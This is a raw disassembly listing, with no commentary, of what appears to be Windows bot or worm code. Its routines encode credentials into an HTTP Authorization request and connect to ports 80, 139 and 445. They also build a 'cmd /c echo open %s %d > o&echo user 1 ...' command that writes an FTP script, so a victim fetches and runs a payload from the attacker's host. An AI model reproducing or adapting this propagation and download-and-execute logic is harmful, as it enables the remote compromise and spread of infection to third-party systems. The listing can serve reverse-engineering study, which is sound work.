loc_40D019:				; CODE XREF: sub_40CFDE+1Bj
					; sub_40CFDE+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D01D:				; CODE XREF: sub_40CFDE+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CF04
		add	esp, 0Ch
		leave
		retn
sub_40CFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D030	proc near		; CODE XREF: sub_40D07C+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	dbl_427690
		call	sub_41C798
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	dbl_427688
		fstp	[esp+10h+var_10]
		call	sub_41C679
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_41C798
		inc	eax
		leave
		retn
sub_40D030	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D07C	proc near		; CODE XREF: sub_40D21E+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_426DF7
		call	sub_41CC64
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_40D6B3
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40D030
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_40D0BE
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_40D62E


loc_40D0BE:				; CODE XREF: sub_40D07C+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_40D1DB
		mov	ebx, [ebp+10h]


loc_40D0CD:				; CODE XREF: sub_40D07C+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40D0D7
		push	3
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0D7:				; CODE XREF: sub_40D07C+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40D0E1
		push	2
		jmp	short loc_40D0E9
; ---------------------------------------------------------------------------


loc_40D0E1:				; CODE XREF: sub_40D07C+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_40D0EA
		push	1


loc_40D0E9:				; CODE XREF: sub_40D07C+59j
					; sub_40D07C+63j
		pop	ebx


loc_40D0EA:				; CODE XREF: sub_40D07C+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_4276A0
		fstp	[esp+40h+var_40]
		call	sub_41C7BF
		pop	ecx
		pop	ecx
		call	sub_41C798
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_40D129
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_40D129:				; CODE XREF: sub_40D07C+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40D197
		add	[ebp-18h], eax


loc_40D17B:				; CODE XREF: sub_40D07C+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_432424[eax]
		push	eax
		push	1
		call	sub_40D4B0
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_40D17B


loc_40D197:				; CODE XREF: sub_40D07C+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40D1B5
		push	dword ptr [ebp+14h]
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_40D509
		mov	[ebp-18h], edi


loc_40D1B5:				; CODE XREF: sub_40D07C+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_40D1CF
		sub	esi, [ebp-1Ch]


loc_40D1C0:				; CODE XREF: sub_40D07C+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_40D4B0
		dec	esi
		jnz	short loc_40D1C0


loc_40D1CF:				; CODE XREF: sub_40D07C+13Fj
		cmp	[ebp+10h], edi
		ja	loc_40D0CD
		push	1
		pop	ebx


loc_40D1DB:				; CODE XREF: sub_40D07C+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		push	dword_427698
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_40D560
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D07C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D21E	proc near		; CODE XREF: ___:0040D41Bp
		mov	eax, offset loc_426E14
		call	sub_41CC64
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset dword_43D7D8
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_40D07C
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_41B4D5
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40D268
		xor	bl, bl
		jmp	short loc_40D2AC
; ---------------------------------------------------------------------------


loc_40D268:				; CODE XREF: sub_40D21E+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_4276A8
		cmp	ecx, ebx
		jnz	short loc_40D276
		mov	ecx, eax


loc_40D276:				; CODE XREF: sub_40D21E+54j
		cmp	[ebp+18h], ebx
		jz	short loc_40D27E
		mov	eax, [ebp+18h]


loc_40D27E:				; CODE XREF: sub_40D21E+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41B980
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_4CB674
		cmp	eax, esi
		jz	short loc_40D2A3
		xor	bl, bl
		jmp	short loc_40D2A5
; ---------------------------------------------------------------------------


loc_40D2A3:				; CODE XREF: sub_40D21E+7Fj
		mov	bl, 1


loc_40D2A5:				; CODE XREF: sub_40D21E+83j
		push	edi
		call	sub_41B0B1
		pop	ecx


loc_40D2AC:				; CODE XREF: sub_40D21E+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_40D6B3
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_40D6B3
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40D21E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_4325D0
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		mov	eax, offset byte_429108
		push	eax
		push	eax
		movzx	eax, word ptr dword_4CB360
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41B980
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_432468
		push	eax
		call	sub_40CADA
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40D377
		xor	eax, eax
		jmp	loc_40D4A3
; ---------------------------------------------------------------------------


loc_40D377:				; CODE XREF: ___:0040D36Ej
		mov	[ebp-0Ch], esi


loc_40D37A:				; CODE XREF: ___:0040D47Aj
		test	esi, esi
		jnz	loc_40D480
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40D468
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_4CB624
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CB664
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB5CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D45D
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40D425
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_40D6B3
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D6EF
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40D21E
		add	esp, 1Ch
		jmp	short loc_40D45A
; ---------------------------------------------------------------------------


loc_40D425:				; CODE XREF: ___:0040D3E3j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40D43F
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CFDE
		jmp	short loc_40D457
; ---------------------------------------------------------------------------


loc_40D43F:				; CODE XREF: ___:0040D42Fj
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40D45D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40CF04


loc_40D457:				; CODE XREF: ___:0040D43Dj
		add	esp, 0Ch


loc_40D45A:				; CODE XREF: ___:0040D423j
		movzx	esi, al


loc_40D45D:				; CODE XREF: ___:0040D3D6j
					; ___:0040D449j
		push	ebx
		call	dword_4CB6BC
		test	esi, esi
		jnz	short loc_40D473


loc_40D468:				; CODE XREF: ___:0040D393j
		push	3E8h
		call	near ptr 2820566h
		nop


loc_40D473:				; CODE XREF: ___:0040D466j
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40D37A


loc_40D480:				; CODE XREF: ___:0040D37Cj
		lea	ecx, [ebp-8]
		call	sub_40C8FF
		test	esi, esi
		jz	short loc_40D4A1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	dword_431AD0[eax]
		lea	eax, dword_431AD0[eax]


loc_40D4A1:				; CODE XREF: ___:0040D48Aj
		mov	eax, esi


loc_40D4A3:				; CODE XREF: ___:0040D372j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426DD8


loc_40D4A8:				; CODE XREF: sub_426DD8+3j
					; ___:00426DF1j ...
		push	1
		call	sub_40D6B3
		retn
; END OF FUNCTION CHUNK	FOR sub_426DD8

; =============== S U B	R O U T	I N E =======================================



sub_40D4B0	proc near		; CODE XREF: sub_40D07C+110p
					; sub_40D07C+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D4CA
		call	sub_42669A


loc_40D4CA:				; CODE XREF: sub_40D4B0+13j
		test	ebx, ebx
		jbe	short loc_40D501
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D501
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_41B590
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D501:				; CODE XREF: sub_40D4B0+1Cj
					; sub_40D4B0+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D4B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D509	proc near		; CODE XREF: sub_40D07C+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_427698
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40D523
		call	sub_42669A


loc_40D523:				; CODE XREF: sub_40D509+13j
		test	ebx, ebx
		jbe	short loc_40D558
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D558
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40D558:				; CODE XREF: sub_40D509+1Cj
					; sub_40D509+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D560	proc near		; CODE XREF: sub_40D07C+17Cp
					; sub_4265B0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40D578
		call	sub_426573


loc_40D578:				; CODE XREF: sub_40D560+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40D58A
		mov	esi, [ebp+arg_8]


loc_40D58A:				; CODE XREF: sub_40D560+25j
		cmp	edi, ebx
		jnz	short loc_40D5AC
		push	dword_427698
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_40D724
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_40D724
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5AC:				; CODE XREF: sub_40D560+2Cj
		test	esi, esi
		jbe	short loc_40D5EF
		cmp	esi, eax
		jnz	short loc_40D5EF
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5C0
		mov	eax, offset dword_4276A8


loc_40D5C0:				; CODE XREF: sub_40D560+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_40D5EF
		push	1
		mov	ecx, edi
		call	sub_40D6B3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D5DB
		mov	eax, offset dword_4276A8


loc_40D5DB:				; CODE XREF: sub_40D560+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_40D625
; ---------------------------------------------------------------------------


loc_40D5EF:				; CODE XREF: sub_40D560+4Ej
					; sub_40D560+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D625
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40D609
		mov	eax, offset dword_4276A8


loc_40D609:				; CODE XREF: sub_40D560+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_41C310
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_40D625:				; CODE XREF: sub_40D560+4Aj
					; sub_40D560+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_40D560	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62E	proc near		; CODE XREF: sub_40D07C+3Dp
					; sub_40D4B0+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_40D640
		call	sub_42669A


loc_40D640:				; CODE XREF: sub_40D62E+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40D669
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40D669
		cmp	al, 0FFh
		jz	short loc_40D669
		cmp	edi, edx
		jnz	short loc_40D6A4
		dec	al
		push	edx
		mov	[ecx-1], al


loc_40D65E:				; CODE XREF: sub_40D62E+47j
		mov	ecx, esi
		call	sub_40D6B3


loc_40D665:				; CODE XREF: sub_40D62E+4Bj
					; sub_40D62E+52j
		xor	al, al
		jmp	short loc_40D6AE
; ---------------------------------------------------------------------------


loc_40D669:				; CODE XREF: sub_40D62E+19j
					; sub_40D62E+20j ...
		cmp	edi, edx
		jnz	short loc_40D682
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D677
		push	1
		jmp	short loc_40D65E
; ---------------------------------------------------------------------------


loc_40D677:				; CODE XREF: sub_40D62E+43j
		cmp	ecx, edx
		jz	short loc_40D665
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_40D665
; ---------------------------------------------------------------------------


loc_40D682:				; CODE XREF: sub_40D62E+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_40D69F
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_40D694
		cmp	eax, edi
		jnb	short loc_40D6AC


loc_40D694:				; CODE XREF: sub_40D62E+60j
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		jmp	short loc_40D6A4
; ---------------------------------------------------------------------------


loc_40D69F:				; CODE XREF: sub_40D62E+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_40D6AC


loc_40D6A4:				; CODE XREF: sub_40D62E+28j
					; sub_40D62E+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40D78B


loc_40D6AC:				; CODE XREF: sub_40D62E+64j
					; sub_40D62E+74j
		mov	al, 1


loc_40D6AE:				; CODE XREF: sub_40D62E+39j
		pop	edi
		pop	esi
		retn	8
sub_40D62E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6B3	proc near		; CODE XREF: sub_40D07C+1Fp
					; sub_40D07C+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_40D6DF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D6DF
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40D6D8
		cmp	al, 0FFh
		jz	short loc_40D6D8
		dec	al
		mov	[ecx], al
		jmp	short loc_40D6DF
; ---------------------------------------------------------------------------


loc_40D6D8:				; CODE XREF: sub_40D6B3+19j
					; sub_40D6B3+1Dj
		push	ecx
		call	sub_41CC83
		pop	ecx


loc_40D6DF:				; CODE XREF: sub_40D6B3+8j
					; sub_40D6B3+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_40D6B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D6EF	proc near		; CODE XREF: ___:0040D40Fp
					; sub_40D848+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D71D
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_41C310
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_40D71D:				; CODE XREF: sub_40D6EF+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_40D6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D724	proc near		; CODE XREF: sub_40D560+39p
					; sub_40D560+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D737
		call	sub_426573


loc_40D737:				; CODE XREF: sub_40D724+Cj
		mov	ecx, edi
		call	sub_40D848
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D74D
		mov	ebx, eax


loc_40D74D:				; CODE XREF: sub_40D724+25j
		test	ebx, ebx
		jbe	short loc_40D783
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_41CC90
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D62E
		test	al, al
		jz	short loc_40D783
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_40D783:				; CODE XREF: sub_40D724+2Bj
					; sub_40D724+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D724	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D78B	proc near		; CODE XREF: sub_40D62E+79p
		mov	eax, offset loc_426E20
		call	sub_41CC64
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_40D7B1
		mov	edi, [ebp+8]


loc_40D7B1:				; CODE XREF: sub_40D78B+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_40D7BE
		xor	eax, eax


loc_40D7BE:				; CODE XREF: sub_40D78B+2Fj
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_40D7EF
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40D7D9
		xor	eax, eax


loc_40D7D9:				; CODE XREF: sub_40D78B+4Aj
		push	eax
		call	sub_41CFC5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40D7E9
		retn
; ---------------------------------------------------------------------------


loc_40D7E9:				; DATA XREF: sub_40D78B+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D7EF:				; CODE XREF: sub_40D78B+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_40D80D
		cmp	eax, edi
		jbe	short loc_40D7FC
		mov	eax, edi


loc_40D7FC:				; CODE XREF: sub_40D78B+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_40D80D:				; CODE XREF: sub_40D78B+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D6B3
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D82D
		mov	edi, ebx


loc_40D82D:				; CODE XREF: sub_40D78B+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D78B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D848	proc near		; CODE XREF: sub_40D724+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_40D875
		mov	al, [esi-1]
		test	al, al
		jz	short loc_40D875
		cmp	al, 0FFh
		jz	short loc_40D875
		push	1
		call	sub_40D6B3
		push	esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_40D6EF


loc_40D875:				; CODE XREF: sub_40D848+9j
					; sub_40D848+10j ...
		pop	edi
		pop	esi
		retn
sub_40D848	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D878	proc near		; DATA XREF: ___:00429008o
		test	byte_4DBC44, 1
		jnz	short loc_40D888
		or	byte_4DBC44, 1


loc_40D888:				; CODE XREF: sub_40D878+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_41D040
		pop	ecx
		retn
sub_40D878	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D89A	proc near		; DATA XREF: ___:0042900Co
		jmp	$+5
sub_40D89A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40D89F	proc near
		mov	eax, dword_432888
		add	eax, 6
		mov	dword_4CE344, eax
		retn
sub_40D89F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8AD	proc near		; CODE XREF: sub_40D8AD+D0p
					; ___:0040DE0Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40D8C1
		or	[ebp+arg_7], 1
		jmp	short loc_40D8C5
; ---------------------------------------------------------------------------


loc_40D8C1:				; CODE XREF: sub_40D8AD+Cj
		and	[ebp+arg_7], 0FEh


loc_40D8C5:				; CODE XREF: sub_40D8AD+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40D8E9
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40D8FB
; ---------------------------------------------------------------------------


loc_40D8E9:				; CODE XREF: sub_40D8AD+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_40D8FB:				; CODE XREF: sub_40D8AD+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_40D994
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	short loc_40D98B
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40D98B
		push	[ebp+arg_20]
		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------


loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
